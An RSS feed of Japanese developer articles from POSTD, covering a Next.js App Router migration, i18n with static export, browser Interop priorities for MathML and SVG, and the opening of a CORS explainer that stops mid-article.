<![CDATA[POSTD | ニジボックスが運営するエンジニアに向けたキュレーションメディア]]><![CDATA[POSTD は、ニジボックスが運営する、エンジニアに向けたキュレーションメディアです。ニジボックスはWebサービスの企画、制作、開発、運用を一貫して担うリクルートの100%子会社です。 リクルートグループのオンラインサービスをはじめ、様々な業種・業界・業態のサービス開発を行っております。]]>https://postd.ccGatsbyJSSat, 26 Apr 2025 00:15:40 GMTjaPOSTD | ニジボックスが運営するエンジニアに向けたキュレーションメディアhttps://postd.cc<![CDATA[Next.jsのPages RouterからApp Routerに移行する]]><![CDATA[Next.jsプロジェクトをアップグレードする Next.jsの従来のPages Routerから新しいApp Routerに移行しましょう。ここの移行により、アプリケーションのルーティング効率と柔…]]>https://postd.cc/migrate-from-nextjs-pages-to-app-router/https://postd.cc/migrate-from-nextjs-pages-to-app-router/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[Next.js]]>Thu, 24 Apr 2025 00:00:01 GMT<![CDATA[

Next.jsプロジェクトをアップグレードする

Next.jsの従来のPages Routerから新しいApp Routerに移行しましょう。ここの移行により、アプリケーションのルーティング効率と柔軟性が向上します。App Routerは、ファイルシステムベースのルーティング機能が改善されたほか、React Server Componentsが導入されたことなどにより、開発体験を向上させます。

依存関係をチェックする

package.jsonファイルのバージョンが最新であることが重要です。依存関係をすべてチェックし、新しいApp Routerと互換性があることを確認しましょう。必要であればアップグレードしてください。この準備を行うことで、移行時に互換性の問題が発生するのを避けることができます。

依存関係はnpmを使用することで簡単にチェックできます。以下のコマンドを実行してください。

$ npm outdated

/appディレクトリを作成する

まずは、Next.jsプロジェクトのルートに新しい/appディレクトリを作成しましょう。App Routerのファイルやコンポーネントはすべてここに格納されます。

PagesフォルダからAppフォルダにファイルを移動する

サーバー上でレンダリングされるHTMLドキュメントは、/pages/_document.tsxファイルを使用してカスタマイズします。App Routerでは、/app/layout.tsxファイルがこの機能を担います。

  • /pages/_document.tsxの内容を/app/layout.tsxという新しいファイルにコピーします。

  • next/documentのインポートを削除し、<Html><Head><Main />の各コンポーネントを対応するHTMLコンポーネント(<html><head>{children})に置き換えます。

  • <NextScript />コンポーネントを削除します。

ページをApp Routerに移行する

/pagesディレクトリにある各ページについて、対応するフォルダ構造を/appディレクトリに作成する必要があります。

  • ページのURLパスと一致するフォルダ構造を/appに作成します。例えば、/pages/about.tsxにページがある場合、/app/about/page.tsxファイルを作成します。

  • page.tsxファイルに元のページコンポーネントの内容をコピーします。

  • ページコンポーネントがクライアントサイドの機能(Hooks、Browser APIなど)を使用する場合、ファイルの先頭にuse clientディレクティブを記述してラップする必要があります。

データフェッチをアップデートする

App Routerでは、Next.jsの従来のデータフェッチ方法(getStaticPropsgetServerSidePropsgetStaticPaths)は使用されません。その代わり、ページコンポーネント内で直接データをフェッチできます。

  • ページコンポーネント内にgetStaticPropsgetServerSidePropsgetStaticPathsのいずれかの関数がある場合は削除します。

  • JavaScript/TypeScriptの標準の非同期関数を使用し、ページコンポーネント内で直接データをフェッチします。

例1:データフェッチ

移行前(Pages Router)

// /pages/about.tsx
import { GetStaticProps } from 'next';

export const getStaticProps: GetStaticProps = async () => {
  const data = await fetchSomeData();
  return {
    props: { data },
  };
};

const AboutPage = ({ data }: { data: any }) => {
  return (
    <div>
      <h1>About Page</h1>
      <p>{data.message}</p>
    </div>
  );
};

export default AboutPage;

移行後(App Router)

import { fetchSomeData } from '@/lib/data';

const AboutPage = async () => {
  const data = await fetchSomeData();

  return (
    <div>
      <h1>About Page</h1>
      <p>{data.message}</p>
    </div>
  );
};

export default AboutPage;

ルーティングのHooksを移行する

App Routerでは、Pages Routerで使用されていたものに代わる新しいルーティングのHooksが導入されます。

  • next/routerからuseRouter()を使用する代わりに、next/navigationからuseRouter()usePathname()useSearchParams()を使用します。

  • 新しいHooksのuseRouter() は、pathnamequeryのプロパティを返しません。代わりに、usePathname()useSearchParams()を使用します。

例2:ルーティングのHooksの移行

移行前(Pages Router)

// /pages/users/[id].tsx
import { useRouter } from 'next/router';

const UserPage = () => {
  const { query } = useRouter();
  const userId = query.id as string;

  return (
    <div>
      <h1>User Page</h1>
      <p>User ID: {userId}</p>
    </div>
  );
};

export default UserPage;

移行後(App Router)

// /app/users/[id]/page.tsx
'use client';

import { usePathname, useSearchParams } from 'next/navigation';

const UserPage = () => {
  const pathname = usePathname();
  const searchParams = useSearchParams();
  const userId = searchParams.get('id');

  return (
    <div>
      <h1>User Page</h1>
      <p>User ID: {userId}</p>
    </div>
  );
}

export default UserPage;

エラーハンドリングをアップデートする

App Routerでは、Pages Routerとはエラーハンドリングのアプローチが異なります。

  • グローバルエラーのハンドリングについては、pages/_error.jsファイルをapp/error.tsxに置き換えます。

  • 特定のルートに関連するエラーの処理のためにページフォルダ内に個別のerror.tsxファイルを作成します。

例3:エラーハンドリングの移行

移行前(Pages Router)

// /pages/_error.js
import { NextPageContext } from 'next';

const ErrorPage = ({ statusCode }: { statusCode: number }) => {
  return (
    <div>
      <h1>Error {statusCode}</h1>
      <p>An error occurred on the server</p>
    </div>
  );
};

ErrorPage.getInitialProps = ({ res, err }: NextPageContext) => {
  const statusCode = res ? res.statusCode : err ? err.statusCode : 404;
  return { statusCode };
};

export default ErrorPage;

移行後(App Router)

// /app/error.tsx 
// エラーコンポーネントはClient Componentである必要があります!
'use client';

interface ErrorPageProps {
  error: Error & { digest?: string }
  reset: () => void;
}

const ErrorPage = ({ error, reset }: ErrorPageProps) => {
  return (
    <div>
      <h1>Error</h1>
      <p>{error.message}</p>
      <button onClick={
          // セグメントの再レンダリングにより復旧を試みます。
          () => reset()
        }>
		Try again
	  </button>
    </div>
  );
};

export default ErrorPage;

他の機能の移行

アプリケーションによっては、APIルートやミドルウェア、カスタムdocument/appコンポーネントなど他の機能も移行する必要があるかもしれません。これらの機能をApp Routerに移行する方法については、Next.jsのドキュメントをご覧ください。

テストと検証

移行が完了したら、アプリケーションのテストを行い、すべての機能が正常に動作することを確認しましょう。Pages RouterとApp Routerで挙動に違いが見られないか注意してみてください。

App RouterとPages Routerは同じNext.jsアプリケーション上に共存できるため、段階的な移行が可能です。App Routerがまだ対応していない特定のレガシー機能を残す必要がある場合などには、そうするとよいでしょう。

まとめ

Next.jsのPages Routerから新しいApp Routerに移行することで、アプリケーションのルーティング機能を強化し、柔軟性を高めることができます。依存関係をアップデートし、ファイル構造を再構築し、新しいデータフェッチとエラーハンドリングの方法に適応することで、App Routerの機能を最大限活用することができます。少し手間はかかりますが、アプリケーションの効率性と拡張性が向上することで明確なメリットが得られます。

]]>
<![CDATA[NextJSのoutput: exportによるi18n]]><![CDATA[この記事では、Next.jsのプロジェクトにおける国際化対応(i18n)の設定方法について説明します。Next.jsが直接サポートしていない部分の課題を克服しながら、Pages Routerを使用し…]]>https://postd.cc/i18n-with-nextjs-output-export/https://postd.cc/i18n-with-nextjs-output-export/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[Next.js]]>Mon, 24 Mar 2025 00:00:01 GMT<![CDATA[

この記事では、Next.jsのプロジェクトにおける国際化対応(i18n)の設定方法について説明します。Next.jsが直接サポートしていない部分の課題を克服しながら、Pages Routerを使用してi18nを実装する方法と、output: exportを使用する方法について検討したいと思います。

none

国際化ルーティングは、Next.jsのルーティングレイヤーを使用しないためoutput: 'export'では実装できません。output: 'export'を使用しないHybrid Next.jsのアプリケーションは完全にサポートされています。

まず初めに、TypeScriptを使用してNext.js v14のプロジェクトを初期化しましょう。TypeScriptの代わりにJavaScriptを使用することもできます。どちらも問題なく使用できます。

NextJSプロジェクトの初期化

次のコマンドを実行してプロジェクトをセットアップしてください。。

`npx create-next-app@latest`

設定中いくつか質問をされますが、好みで回答してください。筆者の場合はPages Routerを選択し、TypeScriptでsrcディレクトリを指定しました。

次に、next.config.jsファイルにoutput: "export"を追加します。

さらに、output: "export"の構成とは互換性がないためpagesディレクトリからapiフォルダを削除します。

i18nのインストールと設定

国際化対応では、next-translateパッケージを使用します。本来はoutput: exportに対応していませんが、ご心配なく。その点については後ほどサポートします。

まずはnext-translateパッケージをインストールしてください。

`npm i next-translate`

プロジェクトのルートレベルにi18n.tsまたは.jsという名前のファイルを作成し、次のコードを挿入します。

import { I18nConfig } from "next-translate";

export const i18nConfig = {
  locales: ["en", "es"],
  defaultLocale: "en",
  loader: false,
  pages: {
    "*": ["common"],
  },
  defaultNS: "common",
} satisfies I18nConfig;

これがi18nのための基本構成になります。必要に応じて自由にカスタマイズしていただいて構いません。

次に、プロジェクトのルートレベルにlocalesフォルダを作成します。このフォルダには、各言語の翻訳ファイルが格納されます。

pagesディレクトリ内の_app.tsファイルに移動し、I18nProviderComponentをラップします。

import "@/styles/globals.css";
import type { AppProps } from "next/app";
import I18nProvider from "next-translate/I18nProvider";
import { i18nConfig } from "../../i18n";
import commonES from "../../locales/es/common.json";
import commonEN from "../../locales/en/common.json";

const App = ({ Component, pageProps, router }: AppProps) => {
  const lang = i18nConfig.locales.includes(router.query.locale as string)
    ? String(router.query.locale)
    : i18nConfig.defaultLocale;

  return (
    <I18nProvider
      lang={lang}
      namespaces={{ common: lang === "es" ? commonES : commonEN }}
    >
      <Component {...pageProps} />
    </I18nProvider>
  );
};

export default App;

この手順では以下を行いました。

  • I18nProviderComponentをラップする。
  • localeというクエリパラメタに指定された文字列から言語を検出し、propsとしてI18nProviderに渡す。
  • その言語を基に名前空間ファイルを定義する。

次に、src/hooksディレクトリにuseI18n.tsという名前のカスタムフックを作成し、そこに次のコードを挿入します。

import useTranslation from "next-translate/useTranslation";

import { i18nConfig } from "../../i18n";

interface IUseI18n {
  namespace?: string;
}

export const useI18n = ({ namespace }: IUseI18n = {}) => {
  const { t } = useTranslation(namespace ? namespace : i18nConfig.defaultNS);

  return { t };
};

このフックは、設定された名前空間またはデフォルトの名前空間をもとに翻訳を可能にします。

次に、pagesディレクトリ内のindex.tsxファイルを開き、次のコードを挿入します。

import { useI18n } from "@/hooks/useI18n";

export default function Home() {
  const { t } = useI18n();
  return (
    <div>
      <p>{t("greeting")}</p>
    </div>
  );
}

そうすると、次のような文字が表示されます。

「Hurrah(やった!)」無事プロジェクトにi18nを設定できました。しかし、言語検出がまだ残っています。次はその部分を実装しましょう。

言語検出

先ほど見たように、ロケール値はrouter.queryから取得していました。 次に進むために、pagesディレクトリ内に[locale]という名前のフォルダを作成します。 ルートファイルは全てこのフォルダの中に格納されます。 [locale]フォルダの中にindex.tsxファイルを作成し、次のコードを挿入します。

import { useI18n } from "@/hooks/useI18n";

const Home = () => {
  const { t } = useI18n();

  return (
    <div>
      <p>{t("greeting")}</p>
    </div>
  );
};

export default Home;

localhost:3000/enにアクセスするとコンテンツが英語で表示され、localhost:3000/esに変えるとスペイン語で表示されます。この機能はダイナミックルートともシームレスに統合します。

pagesフォルダは次のような構造になります。

では、next-language-detectorを使用して言語検出機能を実装し、選択した言語をキャッシュしましょう。 まずはnext-language-detectorをインストールします。

npm i next-language-detector

srcディレクトリにlibという名前のフォルダを作成し、その中にlanguageDetector.tsという名前のファイルを作成します。ファイルを開き、次のコードを挿入します。

import nextLanguageDetector from "next-language-detector";
import { i18nConfig } from "../../i18n";

export const languageDetector = nextLanguageDetector({
  supportedLngs: i18nConfig.locales,
  fallbackLng: i18nConfig.defaultLocale,
});

同じlibフォルダの中にredirect.tsxという名前のファイルを作成し、次のコードを挿入します。

import { useRouter } from "next/router";
import { useEffect } from "react";
import { languageDetector } from "./languageDetector";

export const useRedirect = (to?: string) => {
  const router = useRouter();
  const redirectPath = to || router.asPath;

  // language detection
  useEffect(() => {
    const detectedLng = languageDetector.detect();
    if (redirectPath.startsWith("/" + detectedLng) && router.route === "/404") {
      // prevent endless loop
      router.replace("/" + detectedLng + router.route);
      return;
    }

    if (detectedLng && languageDetector.cache) {
      languageDetector.cache(detectedLng);
    }
    router.replace("/" + detectedLng + redirectPath);
  });

  return <></>;
};

次に、pagesディレクトリの中([locale]フォルダの外)にあるindex.tsxファイルを開き、既存のコードを次のコードに置き換えます。

import { useRedirect } from "@/lib/redirect";

const Redirect = () => {
  useRedirect();
  return <></>;
};

export default Redirect;

これで、ロケールを指定せずにホームページにアクセスを試みたユーザーは、ロケールページにリダイレクトされるようになります。

しかし、[locale]フォルダ内の全てのルートについてリダイレクトページを作成するのはあまり効率的ではありません。したがって、ユーザーが言語を指定せずにページにアクセスしようとした場合に特定言語のルートにリダイレクトするLanguageWrapperを作成します。

まずはsrcディレクトリの中にwrappersという名前のフォルダを作成します。このフォルダの中にLanguageWrapper.tsxという名前のファイルを作成し、次のコードを挿入します。

import { ReactNode, useEffect } from "react";
import { useRouter } from "next/router";
import { languageDetector } from "@/lib/languageDetector";
import { i18nConfig } from "../../i18n";

interface LanguageWrapperProps {
  children: ReactNode;
}

export const LanguageWrapper = ({ children }: LanguageWrapperProps) => {
  const router = useRouter();
  const detectedLng = languageDetector.detect();

  useEffect(() => {
    const {
      query: { locale },
      asPath,
      isReady,
    } = router;

    // Check if the current route has accurate locale
    if (isReady && !i18nConfig.locales.includes(String(locale))) {
      if (asPath.startsWith("/" + detectedLng) && router.route === "/404") {
        return;
      }

      if (detectedLng && languageDetector.cache) {
        languageDetector.cache(detectedLng);
      }
      router.replace("/" + detectedLng + asPath);
    }
  }, [router, detectedLng]);

  return (router.query.locale &&
    i18nConfig.locales.includes(String(router.query.locale))) ||
    router.asPath.includes(detectedLng ?? i18nConfig.defaultLocale) ? (
    <>{children}</>
  ) : (
    <p>Loading...</p>
  );
};

次に、_app.tsxファイルにLanguageWrapperを追加します。

あともう一息です。src/components/_sharedディレクトリにLink.tsxという名前のコンポーネントを作成し、次のコードを挿入します。

import { ReactNode } from "react";
import NextLink from "next/link";
import { useRouter } from "next/router";

interface LinkProps {
  children: ReactNode;
  skipLocaleHandling?: boolean;
  locale?: string;
  href: string;
  target?: string;
}

export const Link = ({
  children,
  skipLocaleHandling,
  target,
  ...rest
}: LinkProps) => {
  const router = useRouter();
  const locale = rest.locale || (router.query.locale as string) || "";

  let href = rest.href || router.asPath;
  if (href.indexOf("http") === 0) skipLocaleHandling = true;
  if (locale && !skipLocaleHandling) {
    href = href
      ? `/${locale}${href}`
      : router.pathname.replace("[locale]", locale);
  }

  return (
    <NextLink href={href} target={target}>
      {children}
    </NextLink>
  );
};

このプロジェクトでは、next/linkコンポーネントの代わりにこのLinkコンポーネントを使用します。

次に、hooksフォルダの中にuseRouteRedirect.tsという名前のファイルを作成し、次のコードを挿入します。

import { useRouter } from "next/router";
import { i18nConfig } from "../../i18n";
import { languageDetector } from "@/lib/languageDetector";

export const useRouteRedirect = () => {
  const router = useRouter();

  const redirect = (to: string, replace?: boolean) => {
    const detectedLng = i18nConfig.locales.includes(String(router.query.locale))
      ? String(router.query.locale)
      : languageDetector.detect();
    if (to.startsWith("/" + detectedLng) && router.route === "/404") {
      // prevent endless loop
      router.replace("/" + detectedLng + router.route);
      return;
    }

    if (detectedLng && languageDetector.cache) {
      languageDetector.cache(detectedLng);
    }
    if (replace) {
      router.replace("/" + detectedLng + to);
    } else {
      router.push("/" + detectedLng + to);
    }
  };

  return { redirect };
};

以下に示すとおり、router.pushrouter.replaceの代わりにこのカスタムフックを使用します。

次に、src/componentsディレクトリの中にLanguageSwitcher.tsxコンポーネントを作成し、次のコードで特定の言語に切り替えられるようにします。

import { languageDetector } from "@/lib/languageDetector";
import { useRouter } from "next/router";
import Link from "next/link";

interface LanguageSwitcherProps {
  locale: string;
  href?: string;
  asPath?: string;
}

export const LanguageSwitcher = ({
  locale,
  ...rest
}: LanguageSwitcherProps) => {
  const router = useRouter();

  let href = rest.href || router.asPath;
  let pName = router.pathname;
  Object.keys(router.query).forEach((k) => {
    if (k === "locale") {
      pName = pName.replace(`[${k}]`, locale);
      return;
    }
    pName = pName.replace(`[${k}]`, String(router.query[k]));
  });
  if (locale) {
    href = rest.href ? `/${locale}${rest.href}` : pName;
  }

  return (
    <Link
      href={href}
      onClick={() =>
        languageDetector.cache ? languageDetector.cache(locale) : {}
      }
    >
      <button style={{ fontSize: "small" }}>{locale}</button>
    </Link>
  );
};

お疲れ様です!output: exportを使用してNext.jsのプロジェクトにi18nを無事実装できました。動的に名前空間を切り替える場合など、異なる名前空間から翻訳を読み込みたい場合は、I18nProviderコンポーネントの中の_app.tsxで各名前空間とそれぞれに対応する翻訳ファイルを定義する必要があるということを覚えておいてください。

ビルドを作成してからテストを行う前に、pagesディレクトリに404.tsxファイルを作成し、次のコードを挿入してください。

import { FC, useEffect, useState } from "react";
import { NextRouter, useRouter } from "next/router";
import { getRouteRegex } from "next/dist/shared/lib/router/utils/route-regex";
import { getClientBuildManifest } from "next/dist/client/route-loader";
import { parseRelativeUrl } from "next/dist/shared/lib/router/utils/parse-relative-url";
import { isDynamicRoute } from "next/dist/shared/lib/router/utils/is-dynamic";
import { removeTrailingSlash } from "next/dist/shared/lib/router/utils/remove-trailing-slash";
import { Link } from "@/components/_shared/Link";

async function getPageList() {
  if (process.env.NODE_ENV === "production") {
    const { sortedPages } = await getClientBuildManifest();
    return sortedPages;
  } else {
    if (typeof window !== "undefined" && window.__BUILD_MANIFEST?.sortedPages) {
      console.log(window.__BUILD_MANIFEST.sortedPages);
      return window.__BUILD_MANIFEST.sortedPages;
    }
  }
  return [];
}

async function getDoesLocationMatchPage(location: string) {
  const pages = await getPageList();

  let parsed = parseRelativeUrl(location);
  let { pathname } = parsed;
  return pathMatchesPage(pathname, pages);
}

function pathMatchesPage(pathname: string, pages: string[]) {
  const cleanPathname = removeTrailingSlash(pathname);

  if (pages.includes(cleanPathname)) {
    return true;
  }

  const page = pages.find(
    (page) => isDynamicRoute(page) && getRouteRegex(page).re.test(cleanPathname)
  );

  if (page) {
    return true;
  }
  return false;
}

/**
 * If both asPath and pathname are equal then it means that we
 * are on the correct route it still doesnt exist
 */
function doesNeedsProcessing(router: NextRouter) {
  const status = router.pathname !== router.asPath;
  console.log("Does Needs Processing", router.asPath, status);
  return status;
}

const Custom404 = () => {
  const router = useRouter();

  const [isNotFound, setIsNotFound] = useState(false);

  const processLocationAndRedirect = async (router: NextRouter) => {
    if (doesNeedsProcessing(router)) {
      const targetIsValidPage = await getDoesLocationMatchPage(router.asPath);
      if (targetIsValidPage) {
        await router.replace(router.asPath);
        return;
      }
    }
    setIsNotFound(true);
  };

  useEffect(() => {
    if (router.isReady) {
      processLocationAndRedirect(router);
    }
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [router.isReady]);

  if (!isNotFound) return null;

  return (
    <div className="fixed inset-0 flex justify-center items-center">
      <div className="flex flex-col gap-10">
        <h1>Custom 404 - Page Not Found</h1>
        <Link href="/">
          <button>Go to Home Page</button>
        </Link>
      </div>
    </div>
  );
};

export default Custom404;

ダイナミックルートでページが見つからないエラーを解決するために、pagesディレクトリに404.tsxファイルを入れておく必要があります。 また、ビルド作成後にコードを実行するために、package.jsonファイルに次のコマンドを追加してください。

"preview": "serve out/ -p 3000"

serveパッケージがない場合はインストールしてください。

npm i -D serve

npm run buildnpm run previewを実行した後、ポート3000でプロジェクトにアクセスできます。 コード全体はGitHubにあります。一部微調整を加えていますので、よろしければご覧ください。 何かお気づきの点やエラーなどがあればぜひコメントをください。喜んでサポートいたします。よろしくお願いします!

]]>
<![CDATA[Interopと難解な問題]]><![CDATA[Webプラットフォームにおける優先事項、技術的負債、難解な問題について話しましょう... ブラウザエンジンプロジェクトは、他のほとんどのソフトウェアプロジェクトと多くの点で似ています。「管理者」は今…]]>https://postd.cc/Interop-and-hard-problems/https://postd.cc/Interop-and-hard-problems/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[Interop]]>Fri, 21 Feb 2025 00:00:01 GMT<![CDATA[

Webプラットフォームにおける優先事項、技術的負債、難解な問題について話しましょう...

ブラウザエンジンプロジェクトは、他のほとんどのソフトウェアプロジェクトと多くの点で似ています。「管理者」は今も、休職中のメンバーなどを考慮に入れながら、マネージャーが統括する専門チームを編成し、予算を割り当てます。優先事項を決め、綿密な計画を立てる必要があります。そして筆者がこれまで見てきたどのプロジェクトとも共通する点として、同じようなプレッシャーや問題に直面します。全ての作業に十分なリソースが確保できることはなく、常に何かしら新たな要求が追加され、技術的負債が積み上がり、時折本当に難解な問題が発生します。 ブラウザエンジンプロジェクトに特殊な点があるとすれば、独立したプログラム以上のものになろうとしていることでしょう。相互運用可能な標準プラットフォームに貢献しようとしているのです。私たちにとって問題なのは、チーム独自の優先事項を「全て」クリアし、一般向けにリリースされるなどして、初めてその恩恵が得られるということです。

これは実際に経験するとつらいものです。 <details>要素を例に見てみましょう。これは文字通り最も単純なインタラクティブ要素です。これまでの経緯を以下に整理します。

  • 2011年6月にChromeが<details>を導入
  • 1年後の2012年7月にSafariが導入
  • その1年後の2013年7月にOperaが導入
  • その3年後の2016年9月にFirefoxが導入
  • Microsoftは導入せず、2020年にEdgeがChromium版に移行してようやく導入

リリースから全てのブラウザに導入されるまで9年もかかりました。新たに定義された、ブラウザ普及率が100%に限りなく近い状態になったことを示す「Baseline: Widely Available」の条件を満たすのにさらに3年かかります。つまり、実質的には昨年ようやくWidely Availableとなったということです。

しかも、これはまだ初期段階であり、かつ魅力的な部分にすぎません。当然、これからバグが見つかって、新たなテストが追加され、最終的には改良版やアップグレードなどがリリースされます。現在も、ページ内検索などを改善したり、呼び出し元などの新しい概念を追加したりするたびに、テストが失敗する場合があり、<details>のサポート状況をばらばらなものにしています。

時間とともに、機能マトリクスの項目は増え続け、要件をクリアするよりも速いペースで未対応事項が増えています。技術的負債は積み上がる一方です。

Interopの登場

Interopは当初、技術的負債を減らすための手段として考案されました。優先事項を協力して選び、不合格を示す赤い四角を全部緑色に変えていく取り組みです。しかし、優先事項の判断は難しい問題です。

私たちは毎年おおよそ100件程度の要件を優先事項として指定されます。しかし、Interopは単にブラウザメーカーが同じ優先事項に合意する手助けをしているにすぎません。リソース自体が有限なのは変わりません。つまり、何かを優先するということは、必然的に他のものは優先しないということになります。

また、何を優先するか、なぜ優先すべきかについて、多くの競合圧力を各方面から受けます。

例えば、初期開発に共同で集中的に取り組むことができれば、デベロッパーにとっては極めて効率的です、といったことを言われるわけです。2011年、あるいは2012年に<details>を極めて高い品質で全てのブラウザに実装できていたらどうだったか、想像してみてください。

いくつかの新機能に共同で取り組む利点は他にもあります。まず、開発に携わる人々の熱意が違います。また、誰もが同じテーマについて同時に話すようになるため、誰も大きなイベントを見逃すことがなくなります。その結果、普及も早まります。ECMAの年次版のようなものも得られます。したがって、昨年InteropがCSSネスティング、ポップオーバー、相対カラー構文、宣言型Shadow DOMなどの領域を追加したのは意外ではありません。

しかしその一方で、すでにサポート状況がばらばらな機能も多くあります。これらは優先順位を判断するのが極めて難しく、いたるところに見られます。当然それぞれ価値が異なり、その価値についても議論の余地があります。対象となるコミュニティが全く異なる場合もあります。エンジンによってかかるコストが違う場合もあります。 こうした状況が重なることで、常に難解な問題がつきまといます。ニーズとしていつまでも、時に極めて長い期間残り続けます。

長期間にわたる難解な問題

こうした長期間にわたる難解な問題については、どういうわけか一向に優先順位が決まりませんが、筆者は今年、これらの問題を優先順位付けする方法を見つけなければならないと主張したいと思います。5年、7年、あるいは10年ごとに、こうしたプロジェクトに集中して取り組む必要があるかもしれません。

筆者のブログの読者やIgalia社のポッドキャストのリスナーは、MathML(Mathematical Markup Language)とSVGがおそらくこうした問題の最たる例であることをご存じでしょう。いずれも最古のWeb規格に数えられ、最初のバージョンがリリースされた時期はHTML4.0やCSS2と重なります。HTMLパーサーに特別に組み込まれ、現在はHTML Living Standard(MathMLSVG)に組み込まれています。

しかし、いずれも歴史的に大幅な資金不足の状態にあり、実際の作業の大半はボランティアや管理者以外の組織が担っています。26年が経った今もなお、最後の重要な作業に取り組む決心ができないのです。

そのため、Interopには毎年両方について要望が寄せられています。

2024年の「State of HTML」アンケートでは、デベロッパーが挙げるコンテンツの課題として<svg>がトップに選ばれ、「ブラウザサポート」に起因する課題の倍近くの得票数でした。SVGの他の使用方法は含めず、<svg>要素だけでもHTTPアーカイブデータのHTMLページの55%以上で使われています。約130個あるHTMLの要素のうち、<svg>よりも使用されているhtml要素は27個だけです。SVGは、Webエンジンを利用する埋め込みアプリケーションでも多用されています。

数式コンテンツは、arXivやWikipediaなど無数の数式を使用する特定のサイトや、オンライン教育や書籍に多く見られます。HttpArchiveのクロールは、主にあまり数式が使われない一般向けのホームページを対象にしているため、その測定にはあまり向いていません。しかしクロールでも、ネイティブ関数のレンダリングではなくギャップの橋渡しを行う最も一般的な2つのJavaScriptライブラリが、多くのページで読み込まれるのを見ます。これはパフォーマンスに悪影響を及ぼしますが、特殊な問題です。テキストのレンダリングにJavaScriptは必要ありません。また、Adobe InDesignやMicrosoft Wordなどの多くのドキュメント編集ツールもMathMLをサポートしています。これらはすでに多くのスクリプトが要求される複雑なアプリケーションであり、もしサポートが不十分な場合、さらに多くのスクリプトを読み込む必要があるということです。

Igalia社は、資金提供を受けながら自社資金も投じて実装や改善を行ってきました。開発を前に進めるために、私たちは毎年一定の出資を行っています。しかし、この方法では遅々として進みません。最後の作業を成し遂げるためには、共同での取り組みが必要です。そうすれば、はるかに速いペースで前に進み、大いに改善できるはずです。

これらの問題に集中的に取り組み、改善を推し進める考えに賛同していただける方は、ぜひ私たちや他のベンダーにご連絡ください。力になっていただけると思います。

もちろん、そう簡単には行かない可能性もあると思います。これまではそうでした。ベンダー以外の開発者が作業を行うことや、外部からの資金提供が有効であることは実証済みです。Igalia社はこれからも地道な取り組みを続けていきますが、外部からの資金提供がなければ、自らの出資だけでは限界があります。これらの取り組みの恩恵を受ける企業には、一部の作業への出資をご検討いただけるとありがたいです。もしくは、MathMLに関する作業に直接出資していただくことも可能です。

]]>
<![CDATA[CORSガイドの決定版]]><![CDATA[無垢な仔猫の写真を集めたウェブサイトを訪問したと想像してみてください。かわいい仔猫達の写真の背後には、このウェブサイトの強大な力が隠れています。誰かがウェブサイトにアクセスすると、サイトのオーナーは…]]>https://postd.cc/cors-the-ultimate-guide/https://postd.cc/cors-the-ultimate-guide/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[CORS]]><![CDATA[Ajax]]>Fri, 24 Jan 2025 00:00:01 GMT<![CDATA[

無垢な仔猫の写真を集めたウェブサイトを訪問したと想像してみてください。かわいい仔猫達の写真の背後には、このウェブサイトの強大な力が隠れています。誰かがウェブサイトにアクセスすると、サイトのオーナーはその訪問者のネット上の行動に関するあらゆる情報を入手できます。その中には、銀行取引情報、SNS上の投稿やメッセージ、メール、オンラインの購買データなどが含まれます。あなたが受ける信用面や金銭面の損害はどれほどのものになるでしょうか。あなたのメッセージが流出し、銀行口座のお金が使い込まれるかもしれません。しかし幸いなことに、実際にはそのような状況は起こりません。それは、SOPとCORSのお陰なのです。

目次

  1. Ajax(Asynchronous JavaScript And XML)
  2. インターネットがジャングルではない理由
  3. 認証情報を「含める」vs「含めない」
  4. CORSルールの定義
  5. クロスオリジンリクエストの処理
    1. リクエストするか否か
    2. アクセスを許可するか拒否するか
    3. CORSポリシーのチェック
  6. CORSポリシーの誤設定による危険
  7. デモ
  8. 安全なCORSポリシーを定義する方法
  9. CSRF対策としてのCORS設定
  10. 設定ミスで墓穴を掘らない

Ajax(Asynchronous JavaScript And XML)

少し前の技術になりますが、皆さんがよくご存知のAjaxについてまずお話します。Ajaxとは、ブラウザがバックグラウンドでリクエストを送信できるようにするためのJavaScriptの仕組みです。ウェブサイトのクライアントサイドアプリケーションでは、一般的にAjaxを使用してAPIサーバーに情報をリクエストします。Ajaxはクライアント側で実行されます。つまり、ユーザーがウェブサイトにアクセスする際、ブラウザがAjaxリクエストを送信するということです。この記事では、ボブという名前のインターネットユーザーの事例を検討してみましょう。

example.comというウェブサイトにリクエストを送信する際、Ajaxに「認証情報を使用する」よう伝えることができます。この場合、ブラウザはボブがexample.comに関するCookieを保存しているかチェックします。保存している場合、ブラウザはAjaxリクエストによりCookieを送信します。ボブがexample.com上で認証されれば、ウェブサイトはボブを認識します。ブラウザはボブのIDでAjaxリクエストを送信します。

インターネットがジャングルではない理由

あなたがサイバーセキュリティに熱心であれば、ある疑問が思い浮かんだかもしれません。すなわち、もし自分が悪意のあるウェブサイトを作成したならば、認証情報を含めてGmailのウェブサイトにAjaxリクエストを送信し、訪問者のメールをすべて取得すればよいのではないか、という疑問です。

この疑問が浮かんだ方は、悪の才能があるかもしれません。ですが、その企みはうまく行きません。SOPCORSという2つの仕組みがあるからです。

SOPはSame Origin Policyの略で、「同一オリジンポリシー」という意味です。この仕組みは、ウェブサイトAがオリジンの異なるウェブサイトBのリソースを読み込めないようにするものです。SOPは、ウェブサイトとサイト上に保存されたユーザーのデータが、悪意のあるウェブサイトによってアクセスされないよう保護します。

CORSはCross-Origin Resource Sharingの略で、「オリジン間リソース共有」という意味です。CORSは、SOPの仕組みに例外を追加できる一連のルールです。SOPのポリシーを緩めることで、ウェブサイトAがオリジンの異なるウェブサイトBからリソースを読み込めるようにします。

ウェブサイトのオリジンは、ドメイン、プロトコルスキーム、ネットワークポートの組み合わせです。2つのURLの間でこれらのいずれかが異なる場合、ブラウザはオリジンが異なるとみなします。https://www.devsecurely.com/を例に見てみましょう。このウェブサイトが以下のいずれかのウェブサイトにAjaxリクエストを送信した場合、ブラウザはクロスオリジン(異なるオリジン)とみなします。

  • http://www.devsecurely.com/
  • https://api.devsecurely.com/
  • https://www.gmail.com/
  • https://www.devsecurely.com:8443/

ウェブサイトがオリジンの異なるURLにHTTPリクエストを送信した場合、このリクエストはクロスオリジンリクエストとみなされます。同一オリジンリクエストとは扱いが異なります。クロスオリジンリクエストの扱い方に関するルールは複雑です。この記事では、すべての要素とルールを見ていきます。準備はいいですか?

認証情報を「含める」vs「含めない」

